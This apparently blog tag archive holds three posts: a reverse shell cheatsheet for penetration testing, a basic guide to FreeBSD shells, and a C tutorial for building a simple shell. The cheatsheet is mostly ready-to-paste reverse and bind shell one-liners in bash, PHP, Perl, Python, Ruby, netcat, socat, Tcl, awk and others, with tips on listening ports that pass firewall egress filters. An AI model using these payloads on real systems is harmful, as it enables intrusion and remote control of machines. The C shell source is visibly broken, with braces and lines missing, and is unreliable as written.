Tag Archive : shell

/ shell

Reverse Shell Cheatsheet

December 27, 2016 | Article | 1 Comment

During penetration testing, we might be lucky enough to exploit a command execution vulnerability. Soon, we want and interactive shell to penetrate deeper. Some approach involving “login” mechanism, such as add new account / SSH key / .rhosts file. However if these approach is not viable then hop would be shell, either reverse shell or binding shell to a TCP port. As stated in title, we will discussing the former.

Below we curate reverse shells that use various programming language or tools on target machine.

Listening Home

Most network firewall egress filters allow

  • http (tcp port 80)
  • https (tcp port 443)
  • dns (tcp/udp port 53)
  • smtp (tcp port 25)
  • ping (icmp requests and echo replies)

While it’s not always be true, it can be our initial attempt to set listening socket to one of those ports. Remember that reverse shell need a “home” or something in our machine that listen and communicate with reverse shell.

The simplest trick in our disposal is using netcat to listen on socket. Most likely netcat is installed by default.

nc -vlp 4444

Or if we are using socat, we can use this.

socat READLINE,history:/tmp/history.cmds TCP4-LISTEN:4444

or we can create a redirectory on public faced machine which will give the traffic to our system.

Reverse Shell


exec 5<>/dev/tcp/
cat <&5 | while read line; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ 0>&1
exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/; sh <&196 >&196 2>&196


set s [socket <IP> <PORT>];
while {42} {
  puts -nonewline $s "shell>";
  flush $s;
  gets $s c;
  set e "exec $c";
  if {![catch {set r [eval $e]} err]} {
    puts $s $r;
  flush $s;
close $s;
echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh


php -r '$sock=fsockopen("",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4444);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("",4444);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("",4444);popen("/bin/sh -i <&3 >&3 2>&3");'


nc -e /bin/sh 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f
/bin/sh | nc 4444


socat TCP: EXEC:/bin/bash
socat OPENSSL: EXEC:/bin/bash,pty


rm -f /tmp/p; mknod /tmp/p p && telnet 0/tmp/p
telnet 80 | /bin/bash | telnet 0 443


perl -e 'use Socket;$i="";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -e 'use Socket;$i="";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

for Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


ruby -rsocket -e'f=TCPSocket.open("",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e "c=TCPSocket.new("","4444");while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


#!/usr/bin/awk -f
   s = "/inet/tcp/0/"
   while(42) {
         printf "shell>" |& s
         s |& getline c
            while ((c |& getline) > 0)
               print $0 |& s
      } while(c != "exit")
awk 'BEGIN {s = "/inet/tcp/0/"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null


one of the simplest reverse shell.

xterm -display

to catch incoming forms of reverse shell in xterm session

Xnest :1


Shell, a little program acts as intermediary between user and the kernel, is a program which is always exists on any operating system. In Unix, you have bash / csh / zsh or etc while in Windows you get cmd. Shell provides user an interface which enable user to access the kernel services.

There are many ways to access a shell remotely (accessing other computer). One might prefer accessing over SSH. However, add a new account / SSH key / .rhosts file is sometimes impossible when you don’t have enough privileges. Your next option is using different method without involving any third party.

In the rest of this article we would use following scenario:

+-----------------+               _______________           +----------------+
| Alisia          |  Behind NAT  /              /           | Raite          |
| With Private ip | ----> ----> /  Internet    /----> ----> | with Public IP |
+-----------------+            /______________/             +----------------+

We have two player: Alisia and Raite. Alisia is on network A, behind a NAT and having a private IP. World can’t communicate with her directly (use router as a medium, if allowed). Raite is on network B, using public IP. World can communicate with him directly, just contact the IP.

Also we will use netcat on some sections.

The commands are also suppose to be one line only so it can be pasted into a single command.

Bind Shell

In bind shell method, a target machine bind his shell (cmd.exe or bash) to a specific port. After that, people connect to the specified port.

Let’s suppose Raite has encountered some problem with his system. Using Bind Shell method, he open his shell to port 8000 and ask Alisia for help.

Raite’s End

Raite bind himself to a specific port. He then listen for incoming connections and people then can access his shell remotely. Let’s say the port we choose is 8000


In Unix, suppose your bash is in /usr/bin/bash:

nc -lvp 8000 -e /usr/bin/bash

In Windows, use:

nc -lvp 8000 -e cmd.exe

Alisia’s End

Alisia act as a client. She then connect to Raite and control Raite’s shell (the other end).

Assuming the port used by Raite is 8000 (as stated in previous section) and has IP


nc 8000

Reverse Shell

In reverse shell, a client bind his shell to specific port. A target then connect to client to specified port. Then, the data (result) is streamed to client machine over the connection.

Let’s suppose today Alisia has problem with his machine. But as she is behind a NAT network, she can’t ask Raite to connect to her machine. But, Raite has. Therefore, we use reverse shell method.

Raite’s End

Listening for a connection. He binds to a specific command. When incoming connection arrive, He can control shell on the other side.

Suppose the port chosen is 8000


nc -lvp 8000

Alisia’s End

Would bind her shell and send it to Raite through network (connect).

Alisia would stream her data to Raite. Suppose Raite’s IP is and use port 8000


Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/ 0>&1


Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="";$p=8000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


This code assumes that the TCP connection uses file descriptor 3. If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("",8000);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.


ruby -rsocket -e'f=TCPSocket.open("",8000).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 8000

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 8000 >/tmp/f


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

Guide to Shells on FreeBSD

December 5, 2015 | Article | No Comments

A shell is software that provides an interface for users of an operating system to access the services of a kernel. The name shell originates from shells being an outer layer of interface between the user and the internals of the operating system (the kernel).

In this article we will discuss about shells and their role for basic FreeBSD understanding.

Command Line Interface

Mostly shells has Command Line Interface thus if you are people com from the beauty of Graphical User Interface, you must adapt to it.

Command Line Interface means there are only text running on your shell. No button or menus you can click.

To instructs machine, you need to type commands and enter it. Some command or program need arguments or parameter. An example of command and argument:

cp mytext /home/user/folder/newtext

The above command is a command for copying files or directory. There is 1 command (cp) followed by 2 arguments, first is for text in current directory which will be copied and second is the path and filename for new file.

Changing Shell

There are many shell types: bash, csh, tcsh, etc. The default shell used by FreeBSD is tcsh. If you are familiar with bash shell on most linux distro, then you might use bash. Unfortunately bash is not installed by default so we must install it manually from ports. All shells available for FreeBSD is located at /usr/ports/shells.

Once you have installed a new shell you can set it as your default using


You will then prompt by a screen asking some information. Write the correct shell there.

A quick method to do so is write the shell name and it’s path directly as argument of chsh command, such as:

chsh -s /path/to/myshell

Make sure you write correct path and shell name. Failed to do so will lead your account inaccessible as the account can not execute appropriate shell. Also be careful for your root account.

Change Prompt

If you are using tcsh you can change the default promp under ~/.cshrc. An example prompt is

set prompt = '%[email protected]%m:%/%# '

Auto Completion

Some shells has built in features name auto completion. You do not need to write full name of the command just type a part of command and press TAB to make shell write the rest for you.

On some shells, if you write part of command name which lead to two or moresimilar name, these shells will print you list of command which has similar name.

Environment Variables

Another feature of the shell is the use of environment variables. Environment variables are a variable/key pair stored in the shell’s environment. This environment can be read by any program invoked by the shell, and thus contains a lot of program configuration. Here is a list of common environment variables and their meanings:

Variable Description
USER Current logged in user’s name.
PATH Colon-separated list of directories to search for binaries.
DISPLAY Network name of the Xorg display to connect to, if available.
SHELL The current shell.
TERM The name of the user’s type of terminal. Used to determine the capabilities of the terminal.
TERMCAP Database entry of the terminal escape codes to perform various terminal functions.
OSTYPE Type of operating system.
MACHTYPE The system’s CPU architecture.
EDITOR The user’s preferred text editor.
PAGER The user’s preferred text pager.
MANPATH Colon-separated list of directories to search for manual pages.

How to set an environment variable differs between shells. In tcsh and csh, use setenv to set environment variables. In sh and bash, use export to set the current environment variables. This example sets the default EDITOR to /usr/local/bin/emacs for the tcsh shell:

setenv EDITOR /usr/local/bin/emacs

The equivalent command for bash would be:

export EDITOR="/usr/local/bin/emacs"

To expand an environment variable in order to see its current setting, type a $ character in front of its name on the command line. For example, echo $TERM displays the current $TERM setting.

Shells treat special characters, known as meta-characters, as special representations of data. The most common meta-character is *, which represents any number of characters in a filename. Meta-characters can be used to perform filename globbing. For example, echo * is equivalent to ls because the shell takes all the files that match * and echo lists them on the command line.

To prevent the shell from interpreting a special character, escape it from the shell by starting it with a backslash (\). For example, echo $TERM prints the terminal setting whereas echo \$TERM literally prints the string $TERM.

In computer science especially in Unix world, a shell is a software that provides an interface for users to access kernel services. The name shell originates from shells being an outer layer of interface between user and the internals of operating system (kernel). Some shell we might know are: bash, csh, tcsh, sh, etc.

In this article, I will show you how to build a simple shell. Our shell can execute command which is inputted by user. But before that, we will cover some basic knowledge about how things going on.

How can our shell execute a command? The answer lies on the capability of exec() function family. Exec will execute command given by them and passing arguments if any. As I said exec() family functions, the actual function we can use are: execl(), execlp(), execle(), execv(), execvp().

How to distinguish between these function?

The suffix ‘l’ (el) means exec commands expect a null-terminated list (hence the “l” for list) of arguments, so to execute “/bin/ls/ -l /” we will call

execl("/bin/ls", "-l" , "/" , (char*) 0);

The suffix ‘v’ (vi) means exec commands expect an array or vector (hence the “v” for vector) of arguments. Here is the snippet for doing same thing as previous:

char *vec[4];

vec[3]=(char *)0;
execv("/bin/ls", vec);

The suffix ‘e’ take an additional argument which is an array of char containing the environment (hence the ‘e’ for environment) to be passed to the exec-ed command. Both le and and ve expect an array.

The suffix ‘p’ search the PATH for the command named in their first argument. The one without p don’t.

To use them we should include <unistd.h> header.

In this article we will use execvp() to execute our command.

Now to do exec() thing, we will need help from fork(). What is fork? In computer science, a process do fork will creates a copy of itself. Under Unix OS, the parent and the child process can tell each other apart by examining the return value of the fork() system call. In the child process, the return value of fork() is 0 while the parent side has PID of newly created child process as return value.

Why we should create a fork? First, when exec has finish executing command, it would be exited by default. Our shell must remain running even after the command finished unless we are ordered to exit. Second, having ability to “background”-ing a process executed. You would noticed that when we enter a command in shell like bash and end it with &, our newly executed command would run independently while the shell itself is ready to receive new command.

Here is the complete source code for our shell:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>

const int BUFFER_SIZE = 1<<16;
const int ARR_SIZE = 1 << 16;
/* parse arguments and creating a vector of argument */
void parse_args(char* buffer, char** args, size_t args_size, size_t *nargs);

/* handler for SIGCHLD */
void child_handler(int);

/* handler for SIGINT */
void interrupt_handler(int);

int child_count = 0;

int main(int argc, char* argv[]) {
   char buffer[BUFFER_SIZE];
   char* args[ARR_SIZE];
   int ret_status;
   size_t nargs;
   pid_t pid;
   int background;
   signal(SIGCHLD, &child_handler);
   signal(SIGINT, &interrupt_handler);
   while(1) {
      background = 0;
      printf("$> ");
      fgets(buffer, BUFFER_SIZE, stdin);
      parse_args(buffer, args, ARR_SIZE, &nargs);
      if(nargs==0) continue;
      if(!strcmp(args[0],"exit")) {
         printf("Session terminated\n");
      if( !strcmp(args[nargs-1], "&") ) {
         background = 1;
         args[nargs-1] = NULL;
      child_count += 1;
      pid = fork();
      if(pid > 0) {
      /* PARENT */
      if( !background ) {
         pid = wait(&ret_status);
         printf("Child (%d) finished\n", pid);
      } else {
         printf("[ ] %d\n", pid);
   } else if(pid == 0) {
      /* CHILD */
      if( execvp(args[0], args) ) {
   } else {
      printf("Error: Can not fork\n");
   return 0;

void parse_args(char* buffer, char** args, size_t args_size, size_t *nargs) {
   if( strlen(buffer) > 0 ) {
      char *buf_args[args_size];
      char **cp;
      char *wbuf;
      size_t i,j;
      buf_args[0] = buffer;
      args[0] = buffer;
      for(cp=buf_args; (*cp=strsep(&wbuf," \n\t")) != NULL;) {
         if((*cp != '\0') && (++cp >= &buf_args[args_size]))
      for(j=i=0; buf_args[i] != NULL; i++) {
         if(strlen(buf_args[i]) > 0)
   } else {
      *nargs = 0;

/* handler for SIGCHLD */
void child_handler(int sig_type) {
   int child_status;
   pid_t child;
   /* Getting exit status from child */
   child = waitpid(0, &child_status, 0);

/* handler for SIGINT */
void interrupt_handler(int sig_type) {
   printf("\n%d child(s) has been spawned successfully. Session terminated\n", child_count);

Any comment or question is welcomed.

Social media & sharing icons powered by UltimatelySocial